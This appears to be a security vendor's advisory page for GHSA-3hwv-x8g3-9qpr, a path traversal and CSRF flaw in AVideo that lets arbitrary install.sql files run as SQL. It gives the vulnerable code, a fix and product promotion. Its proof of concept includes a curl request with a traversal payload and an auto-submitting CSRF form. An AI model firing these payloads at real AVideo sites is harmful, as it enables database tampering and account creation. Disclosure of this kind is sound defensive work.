How severe is GHSA-3hwv-x8g3-9qpr?

GHSA-3hwv-x8g3-9qpr has a CVSS score of 7.2/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-3hwv-x8g3-9qpr?

GHSA-3hwv-x8g3-9qpr affects the following packages: wwbn/avideo (Packagist). Ecosystems affected: Packagist.

How do I fix GHSA-3hwv-x8g3-9qpr?

No patched version of wwbn/avideo has shipped for GHSA-3hwv-x8g3-9qpr yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

How do I detect GHSA-3hwv-x8g3-9qpr in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-3hwv-x8g3-9qpr if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-3hwv-x8g3-9qpr?

O3 pinpoints whether GHSA-3hwv-x8g3-9qpr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-3hwv-x8g3-9qpr actively exploited in the wild?

No public exploit code has been indexed for GHSA-3hwv-x8g3-9qpr yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-3hwv-x8g3-9qpr?

GHSA-3hwv-x8g3-9qpr has an EPSS (Exploit Prediction Scoring System) score of 0.5%, placing it in the 38th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

When was GHSA-3hwv-x8g3-9qpr published, and has it been updated?

GHSA-3hwv-x8g3-9qpr was published on March 25, 2026 and was last updated on March 25, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

GHSA-3hwv-x8g3-9qpr

HIGH

AVideo has Path Traversal in pluginRunDatabaseScript.json.php Enables Arbitrary SQL File Execution via Unsanitized Plugin Name

Also known asCVE-2026-33681

Published

Mar 25, 2026

Updated

Mar 25, 2026

Affected

1 pkg

Patched

None yet

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.5%probability of exploitation in next 30 days

Lower Risk38th percentile+0.38%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The objects/pluginRunDatabaseScript.json.php endpoint accepts a name parameter via POST and passes it to Plugin::getDatabaseFileName() without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any install/install.sql file on the filesystem as raw SQL queries against the application database.

Details

The vulnerable data flow:

1. Entry point — objects/pluginRunDatabaseScript.json.php:21:

$fileName = Plugin::getDatabaseFileName($_POST['name']);

2. "Sanitization" — objects/plugin.php:343-354:

public static function getDatabaseFileName($pluginName)
{
    global $global;
    $pluginName = AVideoPlugin::fixName($pluginName);  // line 347 — no-op
    $dir = $global['systemRootPath'] . "plugin";
    $filename = $dir . DIRECTORY_SEPARATOR . $pluginName . DIRECTORY_SEPARATOR . "install" . DIRECTORY_SEPARATOR . "install.sql";
    if (!file_exists($filename)) {
        return false;
    }
    return $filename;
}

3. The "fix" — plugin/AVideoPlugin.php:3184-3190:

public static function fixName($name)
{
    if ($name === 'Programs') {
        return 'PlayLists';
    }
    return $name;  // Returns input unchanged for all other values
}

4. SQL execution — objects/pluginRunDatabaseScript.json.php:24-36:

$lines = file($fileName);
foreach ($lines as $line) {
    // ...
    if (!$global['mysqli']->query($templine)) {
        $obj->msg = ('Error performing query \'<strong>' . $templine . '\': ' . $global['mysqli']->error);
        die($templine.' '.json_encode($obj));  // Leaks file content + SQL error
    }
}

The sibling endpoint pluginRunUpdateScript.json.php correctly routes through AVideoPlugin::loadPlugin() which sanitizes the name with preg_replace('/[^0-9a-z_]/i', '', $name) at AVideoPlugin.php:395. The vulnerable endpoint bypasses this sanitization entirely.

Additionally, the endpoint lacks CSRF token validation. The related pluginImport.json.php properly checks isGlobalTokenValid(), but pluginRunDatabaseScript.json.php does not, making it exploitable via cross-site request forgery against an authenticated admin.

PoC

Step 1: Direct exploitation (as admin)

# Traverse to another plugin's install.sql (e.g., from CustomPlugin to LiveLinks)
curl -s -b "PHPSESSID=<admin_session>" \
  -d "name=../plugin/LiveLinks" \
  "https://target.com/objects/pluginRunDatabaseScript.json.php"

This resolves to: {root}/plugin/../plugin/LiveLinks/install/install.sql and executes its SQL.

Step 2: CSRF exploitation (no direct admin access needed)

Host the following HTML on an attacker-controlled page and trick an admin into visiting it:

<html>
<body>
<form action="https://target.com/objects/pluginRunDatabaseScript.json.php" method="POST" id="csrf">
  <input type="hidden" name="name" value="../../attacker-controlled-path" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Step 3: Information disclosure via error messages

If the traversed SQL file contains invalid SQL, lines 32-33 leak the raw file content in the error response:

{"error":true,"msg":"Error performing query '<strong>FILE CONTENT HERE': MySQL error..."}

Impact

SQL injection via file inclusion: An attacker can execute arbitrary SQL from any install/install.sql file reachable via path traversal, potentially creating admin accounts, modifying data, or extracting sensitive information.
Information disclosure: SQL execution errors leak raw file contents and MySQL error messages in the HTTP response.
CSRF amplification: The lack of CSRF protection means an external attacker can exploit this vulnerability by tricking an admin into visiting a malicious page, without needing direct admin credentials.
Chaining potential: If combined with any file-write primitive (e.g., GHSA-v8jw-8w5p-23g3, the plugin ZIP extraction RCE), an attacker can write a malicious install.sql file and then execute it via this endpoint.

Recommended Fix

Apply the same sanitization used by loadPlugin() to strip path traversal characters, and add CSRF token validation:

// In objects/pluginRunDatabaseScript.json.php, after line 14:

// Add CSRF protection
if (!isGlobalTokenValid()) {
    die('{"error":"' . __("Invalid token") . '"}');
}

// Sanitize plugin name before use (line 21)
$pluginName = trim(preg_replace('/[^0-9a-z_]/i', '', $_POST['name']));
$fileName = Plugin::getDatabaseFileName($pluginName);

Alternatively, fix AVideoPlugin::fixName() to apply proper sanitization for all callers:

public static function fixName($name)
{
    if ($name === 'Programs') {
        $name = 'PlayLists';
    }
    return trim(preg_replace('/[^0-9a-z_]/i', '', $name));
}

Affected Packages

1 total

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`wwbn/avideo`	all versions	No fix

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-3hwv-x8g3-9qpr yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-3hwv-x8g3-9qpr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-3hwv-x8g3-9qpr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `objects/pluginRunDatabaseScript.json.php` endpoint accepts a `name` parameter via POST and passes it to `Plugin::getDatabaseFileName()` without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any `install/install.sql` file on the filesystem as raw SQL queries against the application database. ## Details The vulnerable data flow: **1. Entry point** — `objects/pluginRunDatabaseScript.json.php:21`: ```php $fileName = Plugin::getDatabaseFileName($_POST['name']); ``

O3 Security · Impact-Aware SCA

Is GHSA-3hwv-x8g3-9qpr in your dependencies?

O3 detects GHSA-3hwv-x8g3-9qpr across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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